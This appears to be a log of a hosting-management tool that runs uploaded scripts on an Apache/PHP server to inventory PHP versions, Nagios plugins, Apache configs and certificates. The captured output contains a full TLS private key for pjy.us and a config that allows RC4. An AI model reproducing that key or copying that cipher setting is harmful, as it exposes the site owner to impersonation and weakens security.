33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-10-03 15:00:50:
PUT: /tmp/pkp680604
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-10-03 15:00:51:
chmod 755 /tmp/pkp680604; /tmp/pkp680604; rm /tmp/pkp680604
2025-10-03 15:00:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-10-03 15:00:51:
PUT: /tmp/pkp533129
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-10-03 15:00:51:
chmod 755 /tmp/pkp533129; /tmp/pkp533129; rm /tmp/pkp533129
2025-10-03 15:00:52:
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.26
2025-10-03 15:00:52:
PUT: /tmp/pkp303493
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 15:00:52:
chmod 755 /tmp/pkp303493; /tmp/pkp303493; rm /tmp/pkp303493
2025-10-03 15:00:53:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-10-03 15:00:53:
PUT: /tmp/pkp648223
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-10-03 15:00:53:
chmod 755 /tmp/pkp648223; /tmp/pkp648223; rm /tmp/pkp648223
2025-10-03 15:00:53:
status=ok
2025-10-03 15:00:53:
PUT: /tmp/pkp957066
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 15:00:54:
chmod 755 /tmp/pkp957066; /tmp/pkp957066; rm /tmp/pkp957066
2025-10-03 15:00:54:
2025-10-03 15:00:54:
PUT: /tmp/pkp595238
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
show_file('/etc/apache2/sites-available/theyoungdesigners_stage.conf')
show_file('/etc/apache2/sites-available/pjy_alive_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 15:00:54:
chmod 755 /tmp/pkp595238; /tmp/pkp595238; rm /tmp/pkp595238
2025-10-03 15:00:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5344
2c:1c:d9:0e:ff:26:70:65:c0:96:6b:db:fd:d2:a5:8e
-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBdmqjnn4RzZE5xdPxsKMhlaeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzNDU4WhcNMjUxMTIwMTAzNDU3WjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR38C2D8pN
cOGf4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6A
prVeYhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLr
Xs7riGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw
6nlZSINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNx
gWo0eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhS
PXNePkmCLUwtAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKMz
TuhAcQcBG3MTBcu9viDdhe7OMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzMxLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AA3h8jAr0w3BQGIS
CepVLvxHdHyx1+kw7w5CHrR+Tqo0AAABmNGOHNMAAAQDAEcwRQIhANYLmh74t6Wk
dz2dLTN5jKXUBZ8FszaO22mOVvzbbqG8AiB72iTREsxRqcxcrNP9wVJu76hM3Q/+
TrXKJVmnU9BD7wB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mNGOHPAAAAQDAEgwRgIhAPGltw8ObOufb/mBkfyqUS+crsD0Z+uiL6S4gfEJqPEw
AiEA5mR9InW03xbl6cu+xOsa/evOm8hdJIZ6CF8Px07kiw4wDQYJKoZIhvcNAQEL
BQADggEBAGPU/oqHCGs3/8Qh1NdHxUkF+ufLeQbpQrvblbr9UcecJQHvHcqR4M+g
LmTnCpGsp3WOpYauH7kCesKucOTuZz7cgxlItsnR2WmIPlILLceR7vyUIdKYvLCi
c2Z/w6JkCYJa5IqnI37ogwE42EO3g8EPDG6Dz/bJBDBlaot2m7dM4bEoALWhQvD9
6ZHpcsICUXkUuWAgedNfeiTcg1FJ4JUbq9Boqto1l1Dh1uMOhy3jaWQ9CJ41YafQ
vfBlTj65EfPXgM8QZQquAx5Q5ZZo46ioiFgEC6J/O/3aSA4AynReE4wAWRpjTV9H
gocjnuxr+f7czyQl9RmcPf8MZuLh3gs=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDR38C2D8pNcOGf
4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6AprVe
Yhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLrXs7r
iGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw6nlZ
SINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNxgWo0
eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhSPXNe
PkmCLUwtAgMBAAECggEAPgRmh+Ymm7etlHa26IdC1ghSvSVkOUIW6fe3OMlzjg5F
MgxAr3l+y86X3rJwyw9E5SIXJwgiybV5hshrS+oSNYZ+3/lApCvoViW4hEe7YzuA
DaOqpv1Dx7PkWREm4xNMTMCVRGuR1OeRMZx+ilYh1gMtsw5XU6n+V0RbFIEkUX9Q
8N2kylPbM4Bkr/SFTKHEhp3e6l8eZDu5Hc0CSkpFYif6IGzh43HLtZT+DK3ZjHyR
oEHUmb3hFPiPUQyeN8L026t9MQWiV9HjCrldvnD5/gKwJBq9tVLT0pp1Zj7UkED3
Ls9pd27tKloXIFxrEGiZzNGWUG3crxyVocNMoZEYaQKBgQD3rmpQ8rtnwXbALeod
3CzG2tezmSO/uQDrgoQN34QMeGlOJWgOHlFAOqVKrB+pz0MbBepTAeWgcNwotvyH
8jdFGI6ZglHauc/GKoHX6HkaTL5xwWpwE4z5Ecm0QlJjkCeqea+UWfAczP7zWanO
WDZU76152y/EBtvHGtr5HyI+iwKBgQDY7ERxGPF5t++xqhcFv/hdw2+dIeS4VYqS
E0hUtKSIzGQ8/8yWKJgEwDF6/AlKbwpYZwA/cj0fau8ZG9cArsvyd761JkpWXQ+k
qlcDGnqa1Z1uEY6Sdonzd5T8myJIW0qHOvqgT13w27JdXQIU9Fx88fSdMLfGvYZA
3fxOVvbvJwKBgQClNs7sWD3yI/bWksoMSQYFT41627gg94NJlbIInwQyXU/BNOqI
IGkKcxQ3D0G/v+V/bR61aBqIP0BcWFNzS3rauFrGw0ten3udMFWUdBn0FSUkNGSP
hjsPGXJ2r5bNmycabDlWt/eW/pdCNJk0b1supQIOusrN89U+pwdSDhaFqQKBgQCt
SOhPtI5KHp6SvX5QsI72UAYcbxPoESV2FYNFb1y0jxpQBEPpfBocSW/9f9LoLBYG
kpmHFXowW9sOose5Gul/Exs8WI8vuH2jnBOQPhnNEHIHmGzdIWaIIHHa7Q6Q4KSD
rKDDaUNxAf/VR1Q/awlrIlm3LFDSqVnS/cHsztnKJwKBgQDGuC44DdKYkMqD5Snv
MJaApWehkKUoOcGJPK6Y1dlzZBcyZG17i6sTJIDFd716ZtWVnfmDPEn/qMAEtXvp
WAGpdLYDNf1tIubpxchtmWqLgj7QxWCSAOWiXMR59YkTszVekhnv+famdac2XnBP
NozHPQRhmDJk7DdPb5zzcQxHeg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_stage.conf 551
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf 1149
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 87140a5512892b83a3199aea7cde1917
